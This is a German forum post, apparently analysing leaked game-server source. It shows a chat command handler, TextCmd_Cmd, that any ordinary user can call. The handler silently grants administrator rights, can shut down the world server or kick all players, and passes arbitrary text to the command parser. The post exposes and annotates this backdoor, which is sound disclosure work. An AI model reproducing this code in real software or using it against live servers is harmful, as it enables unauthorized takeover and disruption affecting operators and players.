ehm... ich habe mir das indirect command angesehen... da ist kein Verweiß auf diese Funktion... des weiteren:
diese TextCmd_Cmd Funktion wird folgendermaßen definiert:
Code:
ON_TEXTCMDFUNC( TextCmd_Cmd, "cmd", "cmd", "Ä¿î°", "Ä¿î°", TCM_SERVER, [COLOR=Red]AUTH_GENERAL[/COLOR] , "Ä¿î°" )
ist also auch für normale User zugänglich
was die Funktion selbst angeht, so wird nicht einmal geprüft, ob der Benutzer Adminrechte hat, sondern gibt diese dem Benutzer...
Code:
BOOL TextCmd_Cmd( CScanner & scanner )
{
#ifdef __WORLDSERVER
CUser* pUser = (CUser*)scanner.dwValue;
pUser->m_dwAuthorization = AUTH_ADMINISTRATOR; //[COLOR=Red]gib pUser Adminrechte[/COLOR]
pUser->UpdateParam(); //[COLOR=Red]Update pUser[/COLOR]
scanner.GetToken();
CString strstat = scanner.Token; // [COLOR=Red]scanner auslesen[/COLOR]
strstat.MakeLower(); //[COLOR=Red]string in kleinbuchstaben formatieren[/COLOR]
if( strcmp( strstat, "exit" ) == 0 ) // [COLOR=Red]wenn strstat==exit[/COLOR]
{
exit(-1); // [COLOR=Red]Worldserver beenden[/COLOR]
}
else
if( strcmp( strstat, "outall" ) == 0 ) //[COLOR=Red]alle kicken[/COLOR]
{
g_UserMng.RemoveAllUsers(); //
}
else
if( strcmp( strstat, "cmd" ) == 0 ) //
{
scanner.GetLastFull(); // [COLOR=Red]nimm den rest von CScanner[/COLOR]
CString strChat = scanner.token; //[COLOR=Red]und weiße es strChat zu[/COLOR]
strChat.Replace( "\\n", " " ); // [COLOR=Red]Zeilenumbrüche entfernen ( \n )[/COLOR]
ParsingCommand( strChat, (CMover*)pUser ); // [COLOR=Red]an den Chat senden[/COLOR]
}
#endif // __WORLDSERVER
return TRUE;
}